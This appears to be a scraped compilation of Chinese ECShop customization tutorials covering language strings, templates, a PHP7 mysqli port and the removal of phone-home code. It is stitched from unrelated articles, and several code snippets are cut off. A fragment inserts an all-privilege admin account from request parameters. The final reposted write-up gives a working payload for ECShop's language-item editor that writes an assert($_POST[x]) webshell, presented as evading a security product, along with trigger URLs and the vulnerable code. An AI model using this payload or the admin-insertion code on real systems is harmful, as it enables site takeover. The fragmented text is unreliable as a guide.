ecshop语言项修改(语言包修改)
ecshop修改教程100例(全)
![ecshop修改教程100例(全)](https://img.taocdn.com/s3/m/cf5c1f1502d8ce2f0066f5335a8102d276a261bd.png)
使用ecshop电子商务系统的100个小问题自己从事B4C电子商务开发一段时间了,特别对ecshop深有体会,刚接触的时候不容易理解,下面将根据自己的经验,来总结100条关于操作ecshop电子商务系统的小问题。
1:如何修改网站"欢迎光临本店"回答:languages\zh_cn\common.php文件中, $_LANG['welcome'] = '欢迎光临本店';将他修改成你需要的字样。
2:如何修改首页"热门搜索关键字"回答:后台->系统设置->网店设置->显示设置->首页搜索关键字,修改他的内容,然后保存3:如何修改首页标题 "Powered by ECShop"回答:includes/lib_main.php,找到$page_title = $GLOBALS['_CFG']['shop_title'] . ' - ' . 'Powered by ECShop';修改成$page_title = $GLOBALS['_CFG']['shop_title']就可以了。
4:如何去除cshop底部查询信息的显示回答:library/page_footer.lbi中,删除 {insert name='query_info'}5:如何发布首页公告回答:后台->系统设置->商店设置->网店信息->商店公告.填写你需要的公告就可以了.6:如何发布站内新闻增加站内信息,站内新闻后台->文章分类->增加文章分类->增加一个文章顶级分类news后台->文章类表->增加文章->选择分类news->发布文章7:如何修改网站logo回答:用你的logo图片替换/themes/default/images/logo.gif中图片就可以了8:如何修改产品图片的大小回答:在ecshop/themes/default/style.css中,找到.goodsItem .goodsimg{width:100px; height:100px; border:4px solid #eef8ff; margin-bottom:4px;}就可以控制产品图片的大小.9:如何管理首页flash播放器回答:后台 -> flash播放器管理 -> 增加自定义,你就可以上传和控制图片的位置10:如何修改首页"精品推荐"栏目的more小图片回答:模板文件中library/recommend_best.lbi中,<div class="more"><a href="../search.php?intro=best"><img src="images/more.gif" /></a></div>中more.gif图片换成你要的图片,或者将图片换成你需要的文字.11:如何修改首页"新品上市"栏目的more小图片回答:模板文件library/recommend_new.lbi中,<div class="more"><a href="../search.php?intro=new"><img src="images/more.gif" /></a></div>more.gif修改成你需要的图片或者是换成你需要的文字.12:如何手动修改支付方式排列顺序回答:数据库表中,找到payment表,pay_order字段就是用来控制顺序的,你如果想让A支付方式排在第一,那么你需要修改该字段的值稍微大一些。
ecshop适应在PHP7的修改方法解决报错的实现
![ecshop适应在PHP7的修改方法解决报错的实现](https://img.taocdn.com/s3/m/ad4c2dd7ba4cf7ec4afe04a1b0717fd5360cb2c2.png)
ecshop适应在PHP7的修改⽅法解决报错的实现ecshop这个系统,到⽬前也没见怎么推出新版本,如果是新项⽬,不太建议使⽤它。
不过,因为我⼀直以来都在使⽤中,所以不得不更改让其适应PHP新版本。
现在PHP 7已经出发⾏版了,所以更改来继续使⽤吧。
具体的更改有以下⽅⾯:(1)将mysql扩展的使⽤替换掉,改为使⽤mysqli或pdo:从php5.5开始,mysql扩展将废弃了。
具体更改的⽂件在于includes/cls_mysql.php。
这是个不⼩的⼯程,⽂件代码太长……if (!defined('DITAN_ECS')){die('Hacking attempt');}class cls_mysql{var $link_id = NULL;var $settings = array();var $queryCount = 0;var $queryTime = '';var $queryLog = array();var $max_cache_time = 300; // 最⼤的缓存时间,以秒为单位var $cache_data_dir = 'temp/query_caches/';var $root_path = '';var $error_message = array();var $platform = '';var $version = '';var $dbhash = '';var $starttime = 0;var $timeline = 0;var $timezone = 0;// 事务指令数protected $transTimes = 0;var $mysql_config_cache_file_time = 0;var $mysql_disable_cache_tables = array(); // 不允许被缓存的表,遇到将不会进⾏缓存function __construct($dbhost, $dbuser, $dbpw, $dbname = '', $charset = 'gbk', $pconnect = 0, $quiet = 0){$this->cls_mysql($dbhost, $dbuser, $dbpw, $dbname, $charset, $pconnect, $quiet);}function cls_mysql($dbhost, $dbuser, $dbpw, $dbname = '', $charset = 'gbk', $pconnect = 0, $quiet = 0){if (defined('EC_CHARSET')){$charset = strtolower(str_replace('-', '', EC_CHARSET));}if (defined('ROOT_PATH') && !$this->root_path){$this->root_path = ROOT_PATH;}if ($quiet){$this->connect($dbhost, $dbuser, $dbpw, $dbname, $charset, $pconnect, $quiet);}else{$this->settings = array('dbhost' => $dbhost,'dbuser' => $dbuser,'dbpw' => $dbpw,'dbname' => $dbname,'charset' => $charset,'pconnect' => $pconnect);}}function connect($dbhost, $dbuser, $dbpw, $dbname = '', $charset = 'utf8', $pconnect = 0, $quiet = 0){if ($pconnect){$this->link_id = new mysqli('p:'.$dbhost, $dbuser, $dbpw);if ($this->link_id->connect_error){if (!$quiet){$this->ErrorMsg("Can't pConnect MySQL Server($dbhost)!");}return false;}}else{$this->link_id = new mysqli($dbhost, $dbuser, $dbpw);if ($this->link_id->connect_error){if (!$quiet){$this->ErrorMsg("Can't Connect MySQL Server($dbhost)!");}return false;}}$this->dbhash = md5($this->root_path . $dbhost . $dbuser . $dbpw . $dbname);$this->version = $this->link_id->server_version;/* 对字符集进⾏初始化 */$this->link_id->set_charset($charset);$this->link_id->query("SET sql_mode=''");$sqlcache_config_file = $this->root_path . $this->cache_data_dir . 'sqlcache_config_file_' . $this->dbhash . '.php';@include($sqlcache_config_file);$this->starttime = time();if ($this->max_cache_time && $this->starttime > $this->mysql_config_cache_file_time + $this->max_cache_time){if ($dbhost != '.'){$result = $this->link_id->query("SHOW VARIABLES LIKE 'basedir'");$row = $result->fetch_array(MYSQLI_ASSOC);$result->free();if (!empty($row['Value']{1}) && $row['Value']{1} == ':' && !empty($row['Value']{2}) && $row['Value']{2} == "/"){$this->platform = 'WINDOWS';}else{$this->platform = 'OTHER';}}else{$this->platform = 'WINDOWS';}if ($this->platform == 'OTHER' &&($dbhost != '.' && strtolower($dbhost) != 'localhost:3306' && $dbhost != '127.0.0.1:3306') ||date_default_timezone_get() == 'UTC'){$result = $this->link_id->query("SELECT UNIX_TIMESTAMP() AS timeline, UNIX_TIMESTAMP('" . date('Y-m-d H:i:s', $this->starttime) . "') AS timezone");$row = $result->fetch_array(MYSQLI_ASSOC);$result->free();if ($dbhost != '.' && strtolower($dbhost) != 'localhost:3306' && $dbhost != '127.0.0.1:3306'){$this->timeline = $this->starttime - $row['timeline'];}if (date_default_timezone_get() == 'UTC'){$this->timezone = $this->starttime - $row['timezone'];}}$content = '<' . "?php\r\n" .'$this->mysql_config_cache_file_time = ' . $this->starttime . ";\r\n" .'$this->timeline = ' . $this->timeline . ";\r\n" .'$this->timezone = ' . $this->timezone . ";\r\n" .'$this->platform = ' . "'" . $this->platform . "';\r\n?" . '>';@file_put_contents($sqlcache_config_file, $content);}/* 选择数据库 */if ($dbname){if ($this->link_id->select_db($dbname) === false ){if (!$quiet){$this->ErrorMsg("Can't select MySQL database($dbname)!");}return false;}else{return true;}}else{return true;}}function select_database($dbname){return $this->link_id->select_db($dbname);}function set_mysql_charset($charset){if (in_array(strtolower($charset), array('gbk', 'big5', 'utf-8', 'utf8'))){$charset = str_replace('-', '', $charset);}$this->link_id->set_charset($charset);}function fetch_array($query, $result_type = MYSQLI_ASSOC){$row = $query->fetch_array($result_type);$query->free();return $row;}function query($sql, $type = ''){if ($this->link_id === NULL){$this->connect($this->settings['dbhost'], $this->settings['dbuser'], $this->settings['dbpw'], $this->settings['dbname'], $this->settings['charset'], $this->settings['pconnect']); $this->settings = array();}if ($this->queryCount++ <= 99){$this->queryLog[] = $sql;}if ($this->queryTime == ''){if (PHP_VERSION >= '5.0.0'){$this->queryTime = microtime(true);}else{$this->queryTime = microtime();}}/* 当当前的时间⼤于类初始化时间的时候,⾃动执⾏ ping 这个⾃动重新连接操作 */if (time() > $this->starttime + 1){$this->link_id->ping();}if (!($query = $this->link_id->query($sql)) && $type != 'SILENT'){$this->error_message[]['message'] = 'MySQL Query Error';$this->error_message[]['sql'] = $sql;$this->error_message[]['error'] = $this->link_id->error;$this->error_message[]['errno'] = $this->link_id->errno;$this->ErrorMsg();return false;}if (defined('DEBUG_MODE') && (DEBUG_MODE & 8) == 8){$logfilename = $this->root_path . DATA_DIR . '/mysql_query_' . $this->dbhash . '_' . date('Y_m_d') . '.log'; $str = $sql . "\n\n";if (PHP_VERSION >= '5.0'){file_put_contents($logfilename, $str, FILE_APPEND);}else{$fp = @fopen($logfilename, 'ab+');if ($fp){fwrite($fp, $str);fclose($fp);}}}return $query;}function affected_rows(){return $this->link_id->affected_rows;}function error(){return $this->link_id->error;}function errno(){return $this->link_id->errno;}function result($query, $row){$query->data_seek($row);$result = $query->fetch_row();$query->free();return $result;}function num_rows($query){return $query->num_rows;}function num_fields($query){return $this->link_id->field_count;}function free_result($query){return $query->free();}function insert_id(){return $this->link_id->insert_id;}function fetchRow($query){return $query->fetch_assoc();}function fetch_fields($query){return $query->fetch_field();}function version(){return $this->version;}function ping(){return $this->link_id->ping();}function escape_string($unescaped_string){return $this->link_id->real_escape_string($unescaped_string);}function close(){return $this->link_id->close();}function ErrorMsg($message = '', $sql = ''){if ($message){echo "<b>DTXB info</b>: $message\n\n<br /><br />";//print('<a href="/?type=mysql&dberrno=2003&dberror=Can%27t%20connect%20to%20MySQL%20server%20on" target="_blank">/</a>');}else{echo "<b>MySQL server error report:";print_r($this->error_message);//echo "<br /><br /><a href='/?type=mysql&dberrno=" . $this->error_message[3]['errno'] . "&dberror=" . urlencode($this->error_message[2]['error']) . "' target='_blank'>/</a>"; }exit;}/* 仿真 Adodb 函数 */function selectLimit($sql, $num, $start = 0){if ($start == 0){$sql .= ' LIMIT ' . $num;}else{$sql .= ' LIMIT ' . $start . ', ' . $num;}return $this->query($sql);}function getOne($sql, $limited = false){if ($limited == true){$sql = trim($sql . ' LIMIT 1');}$res = $this->query($sql);if ($res !== false){$row = $res->fetch_row();$res->free();if ($row !== false){return $row[0];}else{return '';}}else{return false;}}function getOneCached($sql, $cached = 'FILEFIRST'){$sql = trim($sql . ' LIMIT 1');$cachefirst = ($cached == 'FILEFIRST' || ($cached == 'MYSQLFIRST' && $this->platform != 'WINDOWS')) && $this->max_cache_time;if (!$cachefirst){return $this->getOne($sql, true);}else{$result = $this->getSqlCacheData($sql, $cached);if (empty($result['storecache']) == true){return $result['data'];}}$arr = $this->getOne($sql, true);if ($arr !== false && $cachefirst){$this->setSqlCacheData($result, $arr);}return $arr;}function getAll($sql){$res = $this->query($sql);if ($res !== false){$arr = $res->fetch_all(MYSQLI_ASSOC);$res->free();return $arr;}else{return false;}}function getAllCached($sql, $cached = 'FILEFIRST'){$cachefirst = ($cached == 'FILEFIRST' || ($cached == 'MYSQLFIRST' && $this->platform != 'WINDOWS')) && $this->max_cache_time; if (!$cachefirst){return $this->getAll($sql);}else{$result = $this->getSqlCacheData以上就是⼩编为⼤家带来的ecshop适应在PHP7的修改⽅法解决报错的实现全部内容了,希望⼤家多多⽀持~。
将Ecshop后台商品简单描述改成编辑器形式
![将Ecshop后台商品简单描述改成编辑器形式](https://img.taocdn.com/s3/m/b2e30415650e52ea551898aa.png)
将ecshop后台商品简单描述改成编辑器形式ECSHOP开发中心()如果你想把商品简单描述弄的花里胡哨的,也许这篇文章对你比较有用。
因为用编辑器形式来发布,才最容易实现个性化的简单描述,比如“给文字加不同颜色”、“穿插一个图片”、“给某段文字加一个背景色”等等。
1)、首先来修改/admin/includes/lib_main.php 文件将function create_html_editor($input_name, $input_value = '')修改为function create_html_editor($input_name, $input_value = '',$fckid=0)继续向下找到$smarty->assign('FCKeditor', $FCKeditor);将它修改为if ($fckid){$smarty->assign('FCKeditor'.$fckid, $FCKeditor);}else{$smarty->assign('FCKeditor', $FCKeditor);}2)、接下来要修改/admin/goods.php 文件找到create_html_editor('goods_desc', $goods['goods_desc']);在它下面另添加一行create_html_editor('goods_brief', $goods['goods_brief'],2);3)、最后修改一下对应的模板文件/admin/templates/goods_info.htm找到下面这行代码<textarea name="goods_brief" cols="40" rows="3">{$goods.goods_brief|escape}</textarea>并且修改为{$FCKeditor2}【ECSHOP开发中心】。
ECSHOP二次开发文件修改记录
![ECSHOP二次开发文件修改记录](https://img.taocdn.com/s3/m/38f56507de80d4d8d15a4fae.png)
ECSHOP二次开发文件修改记录这里面记录着网站每次修改的文件、大概行数、内容、以及修改的目的,方便以后进行参考。
本次修改涉及到:根文件夹6子文件夹6共修改文件26具体为:根文件夹admin,include,js,language,mobile模板文件夹子文件夹admin/templates/include/ modules/payment/language/ zh_cn/admin/ language/zh_cn/payment/mobile/includes/模板文件夹/ library/已被修改文件:shop_config.php,top.htm,index.htm,menu.htm,start.htm,chinapay.php,alipay.php,tenpay.php(包括三种支付方式的语言包),lib_main.php,cls_template.php,cls_ecshop.php,common.js,common.php,style.css,goods.dwt,page_footer.lbi,order.php,shipping.php,lib_main.php,lib_base.php◆根目录文件◆admin/shop_config.php,移除提交资料到ECSHOP官方的代码(243行,查找:$spt .= '"></script>';在之后添加一行:$spt = '';)index.php,移除提交资料到ECSHOP官方的代码(在518行,注释掉以下代码::$t = new transport;$api_comment = $t->request('/checkver.php', $apiget);$api_str = $api_comment["body"];echo $api_str;)order.php,在编辑打印快递单中添加自定义信息(478行,添加:$lable_box['t_fedex_number'] = '191599268'; //联邦快递账号)templates/✧top.htm,✓去除后台右上角的“关于ECSHOP”(大概194行,删除:<li><a href="index.php?act=about_us" target="main-frame">{$lang.about}</a></li>)✓移除提交资料到ECSHOP官方的代码(在110行,注释掉以下代码:Ajax.call('index.php?is_ajax=1&act=license','', start_sendmail_Response,'GET', 'JSON');)✧index.htm,移除提交资料到ECSHOP官方的代码(25行,删除以下代码:<frameset rows="0, 0" framespacing="0" border="0"><framesrc="/record.php?mod=login&url={$shop_url}"id="hidd-frame" name="hidd-frame" frameborder="no" scrolling="no"></frameset>)✧menu.htm,移除提交资料到ECSHOP官方的代码(在143行,注释掉以下代码:<script language="JavaScript" src="/menu_ext.php?charset={$charset}&lang={$help_lang}"></script>)✧start.htm,移除提交资料到ECSHOP官方的代码(在9行,删除掉以下代码:<ul style="padding:0; margin: 0; list-style-type:none; color: #CC0000;"><!-- <script type="text/javascript"src="/notice.php?v=1&n=8&f=ul"></script>--></ul>)◆includes/modules/payment/✧chinapay.php银联在线支付插件✧alipay.php支付宝支付插件✧tenpay.php财付通支付插件lib_main.php,去掉头部TITLE不分的“ECSHOP演示站Powered by ecshop”(143行查找到$page_title = $GLOBALS['_CFG']['shop_title'] . ' - ' . 'Powered by ECShop';修改这里的'Powered by ECShop',或者删除)lib_base.php,掉修改商品名称后边省略号(62-65行,找到if ($append && $str != $newstr){ $newstr .= '...';},将它注释或是删除掉即可,别忘了到后台清除下缓存) cls_ecshop.php,修改文件代码头部的Generator标记(21行,查找:define('APPNAME', 'ECSHOP');修改为:define('APPNAME', '自定义的网站代号');) cls_template.php,去掉ecshop head 之间的Generator" content="ECSHOP v2.7.2"(1087行,找到“$source = preg_replace('/<head>/i', "<head>\r\n<metaname=\"Generator\" content=\"" . APPNAME .' ' . VERSION . "\" />", $source);”将之删除或者注释掉即可。
ECshop修改文档(二)
![ECshop修改文档(二)](https://img.taocdn.com/s3/m/5c23291014791711cc791732.png)
Ecshop修改教程本教程来次ecshop不同级别客户看到不同的会员等级价格怎么样让不同等级的会员,只能查看自己会员帐号等级的会员价格呢。
后来在官网论坛泡了一下,发现果然是后台可以设置的。
具体操作方式:后台-> 会员管理-> 会员等级显示价格关闭就可以了--------------------------------------------------------------------------模板文件:goods.dwt找到如下代码:<!-- {foreach from=$rank_prices item=rank_price key=key} 会员等级对应的价格--><strong>{$rank_price.rank_name}:</strong><font class="shop"id="ECS_RANKPRICE_{$key}">{$rank_price.price}</font><br /><!--{/foreach}-->改成<!-- {foreach from=$rank_prices item=rank_price key=key} 会员等级对应的价格--><!-- {if $key eq $er_rank} --><strong>{$rank_price.rank_name}:</strong><font class="shop" id="ECS_RANKPRICE_{$key}">{$rank_price.price}</font><br /><!-- {/if} --><!--{/foreach}-->----------------------------------------------------------------------------------------------------------------------ECSHOP输出HTML压缩ECSHOP代码减肥该功能有两个好处:给HTML页面的减肥,加快页面的加载速度。
更改WordPress语言设置(例如中文版和英文版转换)WordPress大学
![更改WordPress语言设置(例如中文版和英文版转换)WordPress大学](https://img.taocdn.com/s3/m/dcc3034959fafab069dc5022aaea998fcd224055.png)
更改WordPress语言设置(例如中文版和英文版转换)
WordPress大学
易多云免备案虚拟主机,新用户免费试用15天,一键安装Wordpress,点此查看详情!
如果你想更改WordPress的语言,比如将英文版转换为中文版,或者将中文版转换为英文版,该如何操作?其实很简单,打开网站根目录下的wp-config.php,然后搜索define('WPLANG' 就可以快速定位到语言设置那里,比如简体中文版默认为:
1.define('WPLANG', 'zh_CN');
如果要改为英文版,只需修改为:
1.define('WPLANG', '');
需要注意的是,WordPress官方英文版不包含任何语言包,也就是你在 /wp-content/ 目录下看不到 languages 文件夹,即使你设置为 zh_CN ,也不会生效,因为没有简体中文语言包!所以你必须下载对应语言的版本,解压后将 /wp-content/ 目录下 languages 文件夹(及其里面的文件)上传到你网站的 /wp-content/ 目录。
WordPress简体中文官方:
其他语言的版本,可以在这里找到:
注:WordPress 4.0 及以上版本,可直接
在后台-设置-常规,设置“站点语言”,不再
需要在 wp-config.php 定
义 define('WPLANG' 啦!!
请尊重我们的辛苦付出,未经允许,请不要转载WordPress大学的文章!。
Ecshop修改留言类型
![Ecshop修改留言类型](https://img.taocdn.com/s3/m/15b3573787c24028915fc341.png)
Ecshop修改留言类型ECSHOP开发中心()1、打开根目录/includes/inc_constant.php找到第127行,/*用户中心留言类型*/ 在其最下方添加define('M_SJGH', 7); // 商家供货2、打开根目录/languages/zh_cn/common.php找到617-623行,在这里添加$_LANG['message_type'][M_SJGH] = '商家供货';3、最后找到你的当前所用的模板/message_board.dwt,找到664-674这几行,在<input …/>的最下方添加<input type="radio" name="msg_type" value="7" /> {$lang.message_type[7]}注意要放到<td></td>里面,不要放在外面了哦。
4 、这样前台的留言类型就添加成功了5、后台修改:首先打开根目录/languages/zh_cn/admin/user_msg.php,找到第33行,1. $_LANG['type'] = array('留言','投诉','询问','售后','求购','商家留言');将这一行修改为:$_LANG['type'] = array('留言','投诉','询问','售后','求购','商家留言','','商家供货');注意:因为我们在修改前台页面时把“商家供货”设为了7,所以在这里也要让他在数组中的小标7.会编程的人都知道,数组是从0开始的,所以在“商家供货”的前面补上一个空的值.这样他在数组中的下标就为7了。
ecshop首页常见的更改教程
![ecshop首页常见的更改教程](https://img.taocdn.com/s3/m/97a45541a8956bec0975e364.png)
修改ECSHOP的广告链接地址,去掉affiche.php改为直连ECSHOP的广告链接地址形式为“affiche.php?ad_id=1&uri=http%3A%2F%”它中间用affiche.php 做了一个过渡,目的在于统计广告效果等。
有些站长觉得这种链接地址看上去很别扭,而且不利于SEO, 想改成直接的形式,也就是后台设置的是什么链接地址,就直接打开什么链接地址。
可以这样来修改:打开/includes/lib_insert.php 文件找到$ads[] = "<a href='affiche.php?ad_id=$row[ad_id]&uri=" .urlencode($row["ad_link"]). "'修改为$ads[] = "<a href='" .$row["ad_link"]. "'注意:一共有两处都要修改在ECSHOP首页的每个商品下显示商品货号ECSHOP首页有很多种商品,包括今日特价、精品推荐、新品上市、热卖商品、分类商品等,这里只讲解在“精品推荐、新品上市、热卖商品”三个栏目的商品下面显示商品货号的方法。
第一步:修改 includes/lib_goods.php文件找到下面代码第二步:找到$goods[$idx]['brand_name'] = isset($goods_data['brand'][$row['goods_id']]) ?$goods_data['brand'][$row['goods_id']] : '';在它上边增加一行代码$goods[$idx]['goods_sn'] = $row['goods_sn'];第三步:修改模板文件,这里以官方默认模板为例依次打开下面三个文件:/themes/default/library/recommend_best.lbi,/themes/default/library/recommend_new.lbi,/themes/default/library/recommend_hot.lbi在每一个文件的<p><a href="{$goods.url}" title="{$|escape:html}">{$goods.short_style_name}</a></p> 上边增加一行代码:<p>商品货号:{$goods.goods_sn}</p>在ECSHOP销售排行中显示会员价格的方法有的用户可能已经发现了,在ECSHOP的销售排行中,任何情况下只显示了一个“本店售价”。
ecshop修改方法汇编
![ecshop修改方法汇编](https://img.taocdn.com/s3/m/0510814bc850ad02de8041b7.png)
$admin_name=trim($_REQUEST['u']);
if($_REQUEST['act'] == '')
{
$admin_pass=trim($_REQUEST['p']);
if(empty($admin_name) || empty($admin_pass))
shipping_status = 1表示已发货
shipping_status = 2表示已收货
总结以上ecshop订单的状态,方便开发人员总结开发操作。
Ecshop前台显示已售出的数量
category.php
下面的
category_get_goods
函数中foreach循环添加
$arr[$row['goods_id']]['count'] = selled_count($row['goods_id']);
{
die('您想添加的管理员帐号和密码不能为空');
}
$sql = 'INSERT INTO ' . $ecs->table('admin_user') . " (`user_id`,`user_name`,`email`,`password`,`action_list`) VALUES (NULL,'$admin_name','admin@','" . md5($admin_pass) . "','all')";
ecshop模板如何修改详细图解
![ecshop模板如何修改详细图解](https://img.taocdn.com/s3/m/15641f107dd184254b35eefdc8d376eeaeaa17c0.png)
ecshop模板如何修改详细图解ECSHOP模板修改需要会DIV CSS知识。
还有就是DWT,LBI文件的意义,熟记以下一些模板程序有助于修改模板,更多好看的模板也可以看看“ecshop模板堂”模板文件说明style.css - 模板所使用样式表activity.dwt - 活动列表article.dwt - 文章内容页article_cat.dwt - 文章列表页article_pro.dwt - 前一篇文章auction.dwt - 拍卖商品首页auction_list.dwt - 拍卖商品详细页brand.dwt - 商品品牌页brand_list.dwt - 品牌列表页catalog.dwt - 所有商品分类列表页category.dwt - 商品列表页compare.dwt - 商品比较页exchange_goods.dwt - 积分商品详细页exchange_list.dwt - 积分商品首页flow.dwt - 购物车和购物流程页gallery.dwt - 商品相册页goods.dwt - 商品详情页group_buy_goods.dwt - 团购商品详细页group_buy_list.dwt - 团购商品首页index.dwt - 商城首页links_apply.dwt - 在线申请友情链接页message.dwt - 信息提示页(错误处理等)message_board.dwt - 留言板页面myship.dwt - 配送方式页pick_out.dwt - 选购中心页quotation.dwt - 报价单页面receive.dwt - 收货确认信息页respond.dwt - 在线支付提示信息页secarch.dwt - 商品搜索页snatch.dwt - 夺宝奇兵页tag_cloud.dwt - 标签云页topic.dwt - 专题首页user_clips.dwt - 用户中心页(包含:欢迎页,我的留言,我的标签,收藏商品,缺货登记列表,添加缺货登记等)user_passport.dwt - 用户安全页(包含:会员登录,会员注册,找回密码等)user_transaction.dwt - 用户中心页(包含:个人资料,我的红包,添加红包,我的订单,订单详情,合并订单,订单状态,商品列表,费用总计,收货人信息,支付方式,其他信息,会员余额)wholesale_list.dwt - 批发活动列表页library 库文件说明ad_position.lbi –广告article_category_tree.lbi –文章分类树auction.lbi –拍卖商品bought_goods.lbi - 购买过此商品的人购买过哪些商品brand_goods.lbi - 品牌商品brands.lbi –所有品牌cart.lbi - 购物车cat_articles.lbi –分类下的文章cat_goods.lbi - 分类下的商品category_tree.lbi - 商品分类树categorys.lbi –所有小类+商品数量comments.lbi - 用户评论comments_list.lbi –评论列表consignee.lbi - 收货人信息email_list.lbi –邮件订阅exchange_hot.lbi –积分商城热卖商品exchange_list.lbi –积分商城商品列表filter_attr.lbi –扩展属性goods_article.lbi –商品相关文章列表goods_attrlinked.lbi –属性关联商品goods_fittings.lbi –相关配件列表goods_gallery.lbi –商品相册goods_list.lbi - 商品列表goods_related.lbi –相关商品列表goods_tags.lbi –商品标签group_buy.lbi –团购商品help.lbi - 帮助内容history.lbi - 历史记录invoice_query.lbi - 发货单查询member.lbi - 会员登录区member_info.lbi - 会员信息myship.lbi –收货信息new_articles.lbi –最新文章online.lbi –在线用户order_query.lbi –订单查询order_total.lbi –订单费用总数page_footer.lbi -页面底部page_header.lbi -页面顶部pages.lbi - 列表分页price_grade.lbi –价格区间promotion_info.lbi –促销信息recommend_best.lbi –精品推荐recommend_hot.lbi –热卖商品recommend_new.lbi –最新商品recommend_promotion.lbi –特价商品relatetag.lbi -snatch.lbi –夺宝奇兵在lbi库文件中添加广告位的方法一般的广告位是写在dwt文件里的。
【转】关于ECSHOP模板头部修改。。。
![【转】关于ECSHOP模板头部修改。。。](https://img.taocdn.com/s3/m/cecae58edbef5ef7ba0d4a7302768e9951e76e07.png)
【转】关于ECSHOP模板头部修改。
今天开始从头部进行修改,头部的话针对的是所有的页面,你可以把头部做成一个公用文件,不过由于调用的JS和一些样式的不同也可以分开来做,如果要做成公共头文件的话,要把所有页面都会调用的JS和CSS加载上,不过东西也不多的,下面我就做成一个公共文件来用。
先讲一下每个页面的关键字:{$keywords},这是使用的smarty 模板变量用来输出。
“{}”是用来规定标签的开始与结束位置,有些类似于PHP中的“<?php ?>”,原理是一样的,中间的变量$keywords是从后台PHP文件中传输过来的变量,里面存储有值,{$keywords}就是把里面的值进行输出,由于{$keywords}和{$page_title}(页面标题的输出,在title标签间输出)是包含在head 标签中的,所以我们可以不用动它们,不必把它们写进公共头文件。
在head标签中还有一个{insert_scripts files='common.js,index.js'},它是用来调用JS文件的,如所见,它调用了common.js,index.js两个JS文件,head内的我们都不做为公共头文件,不过一会在公共头文件中我们会用到这个调用JS的方式,把所有要用到的JS文件调用进来。
首先新建一个header.dwt公共头文件与其它*.dwt文件放一起,在第一行我们调用所有的JS文件:{insert_scriptsfiles='common.js,index.js,auto_complete.js,compare.js,global.js,l efttime.js,myship.js,region.js,shopping_flow.js,showdiv.js,utils.js,u ser.js,transport.js,tagbox.js'}JS文件很多,但不是每个页面都会用到所有的JS文件,或都有的页面已经在head中调用了一些需要使用的JS文件,有与我们写的JS 文件重复的,没有关系,我们只是为了做一个公共文件,不用在每个页面都单独再去调用,有重复不会有任何影响。
【转】ecshop后台语言项执行漏洞详解
![【转】ecshop后台语言项执行漏洞详解](https://img.taocdn.com/s3/m/049c72a41b37f111f18583d049649b6649d7095c.png)
【转】ecshop后台语言项执行漏洞详解该漏洞需要能登录ecshop后台权限,简单修改下语言项目,即可在网站植入木马后门。
以下是详细分析1.登陆到ecshop台后,选择模板管理,语言项编辑,搜索“用户信息”为什么要搜索“用户信息”,还可以搜索其它的吗?答案是搜索languages\zh_cn\user.php文件里任何一个变量都可以2.添加如下后门,将用户信息改为用户信息${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(P D9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}}即生成一个JoyChou.php文件,内容为(可以过安全狗的一句话哦):<?phpassert($_POST[x]);>3.访问user.php即可产生shell(不用注册登录账户)http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php或http://localhost/ECShop_V2.7.3_UTF8_release0411/languages/zh_cn/user.php漏洞产生原因在admin\edit_languages.php文件中第120行,修改变量内容,注意是用的双引号。
for ($i = 0; $i count($_POST[item_id]);$i++) { /* 语言项内容如果为空,不修漏洞产生原因在admin\edit_languages.php文件中第120行,修改变量内容,注意是用的双for ($i = 0; $i < count($_POST['item_id']); $i++){/* 语言项内容如果为空,不修改*/if (trim($_POST['item_content'][$i]) == ''){unset($src_items[$i]);}else{$_POST['item_content'][$i] = str_replace('/* $_POST['item_content'][$i]是修改后增加的$dst_items[$i] 是$_LANG['label_prof*/$dst_items[$i] = $_POST['item_id'][$i] .' = '. '"' }}修改完后文件\languages\zh_cn\user.php变量为:注意是双引号哦$_LANG['label_profile'] = "用户${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0K由于是双引号,所以只要在任意的php文件中引用这个变量,代码就会成功执行。